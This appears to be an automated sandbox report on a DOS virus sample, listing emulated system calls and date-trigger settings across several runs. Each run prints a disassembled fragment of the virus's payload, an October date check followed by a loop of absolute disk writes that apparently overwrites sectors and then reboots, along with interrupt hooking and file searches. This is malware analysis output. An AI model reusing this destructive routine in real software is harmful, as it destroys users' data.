Sample viewer

vx.netlux.org/Virus.DOS.DirDropper.1577

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:01:54.315443589Z 42 PC: 12e68 | Get date 0x12e68: cmp dh, 0xa
0x12e6b: jne 0x12e8d
0x12e6d: xor dx, dx
0x12e6f: mov ah, 0x19
0x12e71: int 0x21
0x12e73: xor bx, bx
0x12e75: mov ds, bx
0x12e77: mov cx, 0x77
0x12e7a: int 0x26
0x12e7c: jb 0x12e88
0x12e7e: pop di
0x12e7f: add dx, 0x78
0x12e82: cmp dx, 0x2d0
0x12e86: jne 0x12e77
0x12e88: ljmp 0xf000:0xfff0
0x12e8d: mov ax, cs
0x12e8f: add ax, 0x1000
0x12e92: mov es, ax
0x12e94: mov si, 0x100
0x12e97: xor di, di
2018-12-17T22:01:54.318108779Z 26 PC: 12ea6 | Set disk transfer address
2018-12-17T22:01:54.319443431Z 78 PC: 12fff | Find first file
2018-12-17T22:01:54.322478677Z 78 PC: 12f2f | Find first file
2018-12-17T22:01:54.327002873Z 26 PC: 12fa3 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1330,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:43:23.915333926Z 42 PC: 12e68 | Get date 0x12e68: cmp dh, 0xa
0x12e6b: jne 0x12e8d
0x12e6d: xor dx, dx
0x12e6f: mov ah, 0x19
0x12e71: int 0x21
0x12e73: xor bx, bx
0x12e75: mov ds, bx
0x12e77: mov cx, 0x77
0x12e7a: int 0x26
0x12e7c: jb 0x12e88
0x12e7e: pop di
0x12e7f: add dx, 0x78
0x12e82: cmp dx, 0x2d0
0x12e86: jne 0x12e77
0x12e88: ljmp 0xf000:0xfff0
0x12e8d: mov ax, cs
0x12e8f: add ax, 0x1000
0x12e92: mov es, ax
0x12e94: mov si, 0x100
0x12e97: xor di, di
2018-12-25T11:43:23.917758382Z 26 PC: 12ea6 | Set disk transfer address
2018-12-25T11:43:23.91927789Z 78 PC: 12fff | Find first file
2018-12-25T11:43:23.923250937Z 78 PC: 12f2f | Find first file
2018-12-25T11:43:23.927698651Z 26 PC: 12fa3 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":10,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1330,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:43:24.277672073Z 42 PC: 12e68 | Get date 0x12e68: cmp dh, 0xa
0x12e6b: jne 0x12e8d
0x12e6d: xor dx, dx
0x12e6f: mov ah, 0x19
0x12e71: int 0x21
0x12e73: xor bx, bx
0x12e75: mov ds, bx
0x12e77: mov cx, 0x77
0x12e7a: int 0x26
0x12e7c: jb 0x12e88
0x12e7e: pop di
0x12e7f: add dx, 0x78
0x12e82: cmp dx, 0x2d0
0x12e86: jne 0x12e77
0x12e88: ljmp 0xf000:0xfff0
0x12e8d: mov ax, cs
0x12e8f: add ax, 0x1000
0x12e92: mov es, ax
0x12e94: mov si, 0x100
0x12e97: xor di, di
2018-12-25T11:43:24.280014954Z 25 PC: 12e73 | Get default drive
2018-12-25T11:43:27.003243685Z 72 PC: 8f1b9 | Allocate memory
2018-12-25T11:43:27.008818826Z 72 PC: 8f1bd | Allocate memory
2018-12-25T11:43:27.014322397Z 99 PC: 90858 | Get DBCS lead byte table pointer
2018-12-25T11:43:27.01942773Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\HIMEM.SYS')
2018-12-25T11:43:27.031415427Z 66 PC: 91f95 | Move file pointer
2018-12-25T11:43:27.03348081Z 62 PC: 91fc1 | Close file
2018-12-25T11:43:27.036587771Z 75 PC: 91fe0 | Execute program
2018-12-25T11:43:27.053677351Z 98 PC: 916f1 | Get current PSP
2018-12-25T11:43:27.055010879Z 9 PC: c605 | Display string (String= '6r&;] u')
2018-12-25T11:43:27.060456801Z 48 PC: c609 | Get DOS version
2018-12-25T11:43:27.064150032Z 9 PC: c382 | Display string (String= ' Installed A20 handler number ')
2018-12-25T11:43:27.066268672Z 2 PC: c38c | Character output (Char = '32')
2018-12-25T11:43:27.068049716Z 2 PC: c3a7 | Character output (Char = '2e')
2018-12-25T11:43:27.070958481Z 9 PC: c6d9 | Display string (String= 'VHVD[email protected]_Kut1Dt a1ZW 5|(Nj(p^')
2018-12-25T11:43:27.075341335Z 9 PC: c6e0 | Display string (String= '5|(Nj(p^')
2018-12-25T11:43:27.080515699Z 61 PC: 91f88 | Open file (See above)
2018-12-25T11:43:27.092258365Z 66 PC: 91f95 | Move file pointer (See above)
2018-12-25T11:43:27.093927379Z 62 PC: 91fc1 | Close file (See above)
2018-12-25T11:43:27.09623705Z 75 PC: 91fe0 | Execute program (See above)
2018-12-25T11:43:27.118066247Z 98 PC: 916f1 | Get current PSP (See above)
2018-12-25T11:43:27.122721261Z 82 PC: 13d46 | Get DOS internal pointers (SYSVARS)
2018-12-25T11:43:27.124622952Z 53 PC: 13ac3 | Get interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T11:43:27.1276064Z 37 PC: 13ad6 | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T11:43:27.129114622Z 53 PC: 13ae0 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:43:27.130530221Z 37 PC: 13af3 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:43:27.132611989Z 9 PC: 13a0d | Display string (Could not find end pointer)
2018-12-25T11:43:27.143198684Z 62 PC: 8f8eb | Close file
2018-12-25T11:43:27.145616558Z 62 PC: 8f8f2 | Close file
2018-12-25T11:43:27.148355475Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.150608312Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.152667472Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.156102104Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.157846582Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.159956611Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.161622423Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.16404556Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.165717144Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.167359656Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.16989236Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.171832445Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.173799098Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.176713813Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.178283898Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.179672257Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.181972853Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.183719266Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.185383516Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.187204951Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.189530155Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.191134709Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.19263587Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.194682815Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.196255386Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.198117557Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.200172252Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.201723242Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.203284784Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:43:27.220227666Z 61 PC: 8f8ff | Open file (Filename = '')
2018-12-25T11:43:27.223499632Z 62 PC: 8f90e | Close file
2018-12-25T11:43:27.224875135Z 69 PC: 8f915 | Duplicate handle
2018-12-25T11:43:27.227094024Z 69 PC: 8f919 | Duplicate handle
2018-12-25T11:43:27.228862348Z 61 PC: 9387b | Open file (Filename = '')
2018-12-25T11:43:27.234670288Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-25T11:43:27.236526951Z 61 PC: 9387b | Open file (See above)
2018-12-25T11:43:27.242132442Z 68 PC: 9386b | I/O control for devices (See above)
2018-12-25T11:43:27.244013463Z 74 PC: 8f9c4 | Reallocate memory
2018-12-25T11:43:27.245644434Z 72 PC: 8f9e0 | Allocate memory
2018-12-25T11:43:27.247624104Z 72 PC: 8f9e4 | Allocate memory
2018-12-25T11:43:27.249178632Z 74 PC: 8f9fb | Reallocate memory
2018-12-25T11:43:27.250626298Z 72 PC: 8fa02 | Allocate memory
2018-12-25T11:43:27.252774853Z 72 PC: 8fa06 | Allocate memory
2018-12-25T11:43:27.254267857Z 73 PC: 8fa11 | Release memory
2018-12-25T11:43:27.255807757Z 73 PC: 8efea | Release memory
2018-12-25T11:43:27.257846172Z 74 PC: 8f003 | Reallocate memory
2018-12-25T11:43:27.25946192Z 72 PC: 8f054 | Allocate memory
2018-12-25T11:43:27.261206784Z 72 PC: 8f058 | Allocate memory
2018-12-25T11:43:27.26320249Z 73 PC: 8f060 | Release memory
2018-12-25T11:43:27.264674231Z 61 PC: 8f080 | Open file (Filename = '')
2018-12-25T11:43:27.274536107Z 63 PC: 8f095 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:43:27.281026079Z 66 PC: 8f0ad | Move file pointer
2018-12-25T11:43:27.282549793Z 62 PC: 8f0d1 | Close file
2018-12-25T11:43:27.29334309Z 75 PC: 8f0f2 | Execute program
2018-12-25T11:43:27.335150815Z 80 PC: 12be9 | Set current PSP
2018-12-25T11:43:27.336224397Z 48 PC: 12bee | Get DOS version
2018-12-25T11:43:27.337479565Z 99 PC: 193d0 | Get DBCS lead byte table pointer
2018-12-25T11:43:27.339719513Z 101 PC: 12c74 | Get extended country info
2018-12-25T11:43:27.340921152Z 99 PC: 12c7a | Get DBCS lead byte table pointer
2018-12-25T11:43:27.342109243Z 74 PC: 12cdc | Reallocate memory
2018-12-25T11:43:27.343861319Z 72 PC: 1355d | Allocate memory
2018-12-25T11:43:27.34526138Z 25 PC: 13596 | Get default drive
2018-12-25T11:43:27.346332957Z 71 PC: 135ad | Get current directory
2018-12-25T11:43:27.348260021Z 59 PC: 135ba | Change current directory
2018-12-25T11:43:27.353179689Z 59 PC: 135c8 | Change current directory
2018-12-25T11:43:27.356891279Z 59 PC: 135d3 | Change current directory
2018-12-25T11:43:27.360532185Z 25 PC: 12d13 | Get default drive
2018-12-25T11:43:27.361896798Z 37 PC: 127d3 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-25T11:43:27.362949382Z 37 PC: 127da | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-25T11:43:27.364007263Z 37 PC: 127e1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:43:27.367527935Z 80 PC: 1301d | Set current PSP
2018-12-25T11:43:27.368444059Z 37 PC: 13041 | Set interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-25T11:43:27.369777821Z 53 PC: 13362 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:43:27.371352089Z 37 PC: 13383 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:43:27.372514883Z 51 PC: 13417 | Get or set Ctrl-Break
2018-12-25T11:43:27.374571095Z 72 PC: 130ec | Allocate memory
2018-12-25T11:43:27.377465322Z 61 PC: 131b2 | Open file (Filename = '')
2018-12-25T11:43:27.384087899Z 62 PC: 131ba | Close file
2018-12-25T11:43:27.386408738Z 51 PC: 1344c | Get or set Ctrl-Break
2018-12-25T11:43:27.38844119Z 74 PC: 1197c | Reallocate memory
2018-12-25T11:43:27.390329336Z 72 PC: 11991 | Allocate memory
2018-12-25T11:43:27.392452124Z 73 PC: 119b2 | Release memory
2018-12-25T11:43:27.395393411Z 72 PC: 119bd | Allocate memory
2018-12-25T11:43:27.397574728Z 73 PC: 119df | Release memory
2018-12-25T11:43:27.399414953Z 72 PC: 119f5 | Allocate memory
2018-12-25T11:43:27.402324737Z 72 PC: 119fd | Allocate memory